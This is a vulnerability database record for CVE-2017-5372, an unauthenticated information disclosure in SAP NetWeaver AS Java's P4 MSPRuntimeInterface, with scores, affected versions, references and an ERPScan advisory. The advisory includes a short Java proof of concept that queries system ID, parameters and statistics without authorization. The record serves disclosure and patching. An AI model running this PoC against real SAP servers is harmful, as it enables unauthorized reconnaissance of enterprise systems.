ID

VAR-201701-0793


CVE

CVE-2017-5372


TITLE

SAP AS JAVA of P4 SERVERCORE Component msp Vulnerabilities in which system information is obtained

Trust: 0.8

sources: JVNDB: JVNDB-2017-001370

DESCRIPTION

The function msp (aka MSPRuntimeInterface) in the P4 SERVERCORE component in SAP AS JAVA allows remote attackers to obtain sensitive system information by leveraging a missing authorization check for the (1) getInformation, (2) getParameters, (3) getServiceInfo, (4) getStatistic, or (5) getClientStatistic function, aka SAP Security Note 2331908. SAP Netweaver Application Server Java is prone to an authorization-bypass vulnerability. Attackers can exploit this issue to gain unauthorized access and obtain sensitive information or elevate privileges. This may aid in further attacks. Application: SAP NetWeaver AS JAVA Versions Affected: SAP NetWeaver AS JAVA 7.11-7.4 Vendor URL: http://SAP.com Bugs: Information disclosure Sent: 10.03.2016 Reported: 11.03.2016 Vendor response: 11.03.2016 Date of Public Advisory: 12.10.2016 Reference: SAP Security Note 2331908 Author: Vahagn @vah_13 Vardanyan (ERPScan) Description 1. ADVISORY INFORMATION Title:[ERPSCAN-16-037] SAP NetWeaver AS JAVA P4 MSPRUNTIMEINTERFACE INFORMATION DISCLOSURE Advisory ID:[ERPSCAN-16-037] Risk: high Advisory URL: https://erpscan.com/advisories/erpscan-16-037-sap-java-p4-mspruntimeinterface-information-disclosure/ Date published: 11.01.2017 Vendors contacted: SAP 2. VULNERABILITY INFORMATION Class: Information disclosure Impact: broken authentication Remotely Exploitable: yes Locally Exploitable: no CVE: CVE-2017-5372 CVSS Information CVSS Base Score v3: 7.3 / 10 CVSS Base Vector: AV : Attack Vector (Related exploit range) Network (N) AC : Attack Complexity (Required attack complexity) Low (L) PR : Privileges Required (Level of privileges needed to exploit) None (N) UI : User Interaction (Required user participation) None (N) S : Scope (Change in scope due to impact caused to components beyond the vulnerable component) Unchanged (U) C : Impact to Confidentiality Low (L) I : Impact to Integrity Low (L) A : Impact to Availability Low (L) 3. 4. VULNERABLE PACKAGES SERVERCORE 7.11 7.20 7.30 7.31 7.40 7.50 5. SOLUTIONS AND WORKAROUNDS To correct this vulnerability, install SAP Security Note 2331908 6. AUTHOR Vahagn Vardanyan (ERPScan) 7. TECHNICAL DESCRIPTION SAP AS JAVA P4 function msp (MSPRuntimeInterface) does not require any authorization to call the following functions: getInformation getParameters getServiceInfo getStatistic getClientStatistic PoC (Java language) package sap_p4_poc; ***** Properties p = new Properties(); p.put("java.naming.factory.initial", "com.sap.engine.services.jndi.InitialContextFactoryImpl"); p.put("java.naming.provider.url", SAP_IP+":"+SAP_PORT); InitialContext initialContext = new InitialContext(p); Context initialContext = initialContext; MSPRuntimeInterface serialObj = (MSPRuntimeInterface)initialContext.lookup("msp"); System.out.println("----------------" + serialObj + "----------------------------------------"); System.out.println("----------------SID:" + serialObj.getSystemId() + "----------------------------------------"); System.out.println("----------------------getInformation:--------------------------------"); TreeMap Inf = serialObj.getInformation(); print_treee_map(Inf); System.out.println("----------------------getParameters:----------------------------------"); TreeMap Par = serialObj.getParameters(); print_treee_map(Par); System.out.println("-----------------------getServiceInfo:---------------------------------"); TreeMap Serv = serialObj.getServiceInfo(); print_treee_map(Serv); System.out.println("-----------------------getStatistic:---------------------------------"); TreeMap Stat = serialObj.getStatistic(); print_treee_map(Stat); System.out.println("-----------------------getClientStatistic:---------------------------------"); TreeMap Cli = serialObj.getClientStatistic(); print_treee_map(Cli); 8. REPORT TIMELINE Reported: 11.03.2016 Vendor response: 11.03.2016 Date of Public Advisory: 12.10.2016 9. REFERENCES https://erpscan.com/advisories/erpscan-16-037-sap-java-p4-mspruntimeinterface-information-disclosure/ 10. ABOUT ERPScan Research ERPScan research team specializes in vulnerability research and analysis of critical enterprise applications. It was acknowledged multiple times by the largest software vendors like SAP, Oracle, Microsoft, IBM, VMware, HP for discovering more than 400 vulnerabilities in their solutions (200 of them just in SAP!). ERPScan researchers are proud of discovering new types of vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The Best Server-Side Bug" nomination at BlackHat 2013. ERPScan experts participated as speakers, presenters, and trainers at 60+ prime international security conferences in 25+ countries across the continents ( e.g. BlackHat, RSA, HITB) and conducted private trainings for several Fortune 2000 companies. ERPScan researchers carry out the EAS-SEC project that is focused on enterprise application security awareness by issuing annual SAP security researches. ERPScan experts were interviewed in specialized info-sec resources and featured in major media worldwide. Among them there are Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise, Chinabyte, etc. Our team consists of highly-qualified researchers, specialized in various fields of cybersecurity (from web application to ICS/SCADA systems), gathering their experience to conduct the best SAP security research. 11. ABOUT ERPScan ERPScan is the most respected and credible Business Application Cybersecurity provider. Founded in 2010, the company operates globally and enables large Oil and Gas, Financial, Retail and other organizations to secure their mission-critical processes. Named as an aEmerging Vendora in Security by CRN, listed among aTOP 100 SAP Solution providersa and distinguished by 30+ other awards, ERPScan is the leading SAP SE partner in discovering and resolving security vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to assist in improving the security of their latest solutions. ERPScanas primary mission is to close the gap between technical and business security, and provide solutions for CISO's to evaluate and secure SAP and Oracle ERP systems and business-critical applications from both cyberattacks and internal fraud. As a rule, our clients are large enterprises, Fortune 2000 companies and MSPs, whose requirements are to actively monitor and manage security of vast SAP and Oracle landscapes on a global scale. We afollow the suna and have two hubs, located in Palo Alto and Amsterdam, to provide threat intelligence services, continuous support and to operate local offices and partner network spanning 20+ countries around the globe. Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301 Phone: 650.798.5255 Twitter: @erpscan Scoop-it: Business Application Security

Trust: 1.98

sources: NVD: CVE-2017-5372 // JVNDB: JVNDB-2017-001370 // BID: 93504 // PACKETSTORM: 140611

AFFECTED PRODUCTS

vendor:sapmodel:netweaverscope: - version: -

Trust: 1.4

vendor:sapmodel:netweaverscope:eqversion:*

Trust: 1.0

vendor:sapmodel:netweaver as javascope:eqversion:7.50

Trust: 0.3

vendor:sapmodel:netweaver as javascope:eqversion:7.42

Trust: 0.3

vendor:sapmodel:netweaver as javascope:eqversion:7.40

Trust: 0.3

vendor:sapmodel:netweaver as javascope:eqversion:7.31

Trust: 0.3

vendor:sapmodel:netweaver as javascope:eqversion:7.30

Trust: 0.3

vendor:sapmodel:netweaver as javascope:eqversion:7.20

Trust: 0.3

vendor:sapmodel:netweaver as javascope:eqversion:7.11

Trust: 0.3

sources: BID: 93504 // JVNDB: JVNDB-2017-001370 // CNNVD: CNNVD-201701-750 // NVD: CVE-2017-5372

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2017-5372
value: HIGH

Trust: 1.0

NVD: CVE-2017-5372
value: HIGH

Trust: 0.8

CNNVD: CNNVD-201701-750
value: MEDIUM

Trust: 0.6

nvd@nist.gov: CVE-2017-5372
severity: MEDIUM
baseScore: 5.0
vectorString: AV:N/AC:L/AU:N/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 10.0
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

nvd@nist.gov: CVE-2017-5372
baseSeverity: HIGH
baseScore: 7.5
vectorString: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 3.9
impactScore: 3.6
version: 3.0

Trust: 1.8

sources: JVNDB: JVNDB-2017-001370 // CNNVD: CNNVD-201701-750 // NVD: CVE-2017-5372

PROBLEMTYPE DATA

problemtype:CWE-200

Trust: 1.8

sources: JVNDB: JVNDB-2017-001370 // NVD: CVE-2017-5372

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201701-750

TYPE

information disclosure

Trust: 0.6

sources: CNNVD: CNNVD-201701-750

CONFIGURATIONS

sources: JVNDB: JVNDB-2017-001370

PATCH

title:SAP NetWeaver Technology Communityurl:http://www.sap.com/community/topic/netweaver.html

Trust: 0.8

title:SAP AS JAVA P4 SERVERCORE Fixes for component security vulnerabilitiesurl:http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=67315

Trust: 0.6

sources: JVNDB: JVNDB-2017-001370 // CNNVD: CNNVD-201701-750

EXTERNAL IDS

db:NVDid:CVE-2017-5372

Trust: 2.8

db:BIDid:93504

Trust: 1.9

db:PACKETSTORMid:140611

Trust: 1.7

db:JVNDBid:JVNDB-2017-001370

Trust: 0.8

db:CNNVDid:CNNVD-201701-750

Trust: 0.6

sources: BID: 93504 // JVNDB: JVNDB-2017-001370 // PACKETSTORM: 140611 // CNNVD: CNNVD-201701-750 // NVD: CVE-2017-5372

REFERENCES

url:https://erpscan.com/advisories/erpscan-16-037-sap-java-p4-mspruntimeinterface-information-disclosure/

Trust: 1.8

url:http://packetstormsecurity.com/files/140611/sap-netweaver-as-java-p4-mspruntimeinterface-information-disclosure.html

Trust: 1.6

url:http://www.securityfocus.com/bid/93504

Trust: 1.6

url:http://seclists.org/fulldisclosure/2017/jan/50

Trust: 1.6

url:https://erpscan.io/advisories/erpscan-16-037-sap-java-p4-mspruntimeinterface-information-disclosure/

Trust: 1.0

url:https://erpscan.io/press-center/blog/sap-cyber-threat-intelligence-report-october-2016/

Trust: 1.0

url:https://erpscan.com/press-center/blog/sap-cyber-threat-intelligence-report-october-2016/

Trust: 0.9

url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-5372

Trust: 0.8

url:http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2017-5372

Trust: 0.8

url:http://www.sap.com/

Trust: 0.3

url:https://www.onapsis.com/blog/switchable-authorization-checks-sap-security-notes-october-2016

Trust: 0.3

url:https://service.sap.com/sap/support/notes/2331908

Trust: 0.3

url:https://nvd.nist.gov/vuln/detail/cve-2017-5372

Trust: 0.1

url:http://sap.com

Trust: 0.1

sources: BID: 93504 // JVNDB: JVNDB-2017-001370 // PACKETSTORM: 140611 // CNNVD: CNNVD-201701-750 // NVD: CVE-2017-5372

CREDITS

Vahagn Vardanyan (ERPScan)

Trust: 0.3

sources: BID: 93504

SOURCES

db:BIDid:93504
db:JVNDBid:JVNDB-2017-001370
db:PACKETSTORMid:140611
db:CNNVDid:CNNVD-201701-750
db:NVDid:CVE-2017-5372

LAST UPDATE DATE

2024-11-23T22:18:07.171000+00:00


SOURCES UPDATE DATE

db:BIDid:93504date:2017-01-23T02:11:00
db:JVNDBid:JVNDB-2017-001370date:2017-02-07T00:00:00
db:CNNVDid:CNNVD-201701-750date:2017-02-16T00:00:00
db:NVDid:CVE-2017-5372date:2024-11-21T03:27:28.123

SOURCES RELEASE DATE

db:BIDid:93504date:2016-10-11T00:00:00
db:JVNDBid:JVNDB-2017-001370date:2017-02-07T00:00:00
db:PACKETSTORMid:140611date:2017-01-19T14:09:31
db:CNNVDid:CNNVD-201701-750date:2017-01-20T00:00:00
db:NVDid:CVE-2017-5372date:2017-01-23T21:59:03.220